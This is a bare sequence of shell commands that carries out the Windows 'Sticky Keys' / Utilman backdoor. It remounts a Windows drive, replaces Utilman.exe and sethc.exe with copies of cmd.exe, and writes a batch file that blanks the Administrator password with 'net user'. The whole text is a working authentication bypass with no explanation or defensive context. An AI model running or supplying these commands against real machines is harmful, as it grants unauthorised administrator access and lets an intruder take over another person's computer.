Using Bash

mount -o remount ,rw .
cd Windows/System32
cp Utilman.exe Utilman.exe.bak
cp sethc.exe sethc.exe.bak
cp cmd.exe Utilman.exe
cp cmd.exe sethc.exe
(echo @echo off && echo net user Administrator "") > nua.bat
(echo @echo off && echo exit ) > z.bat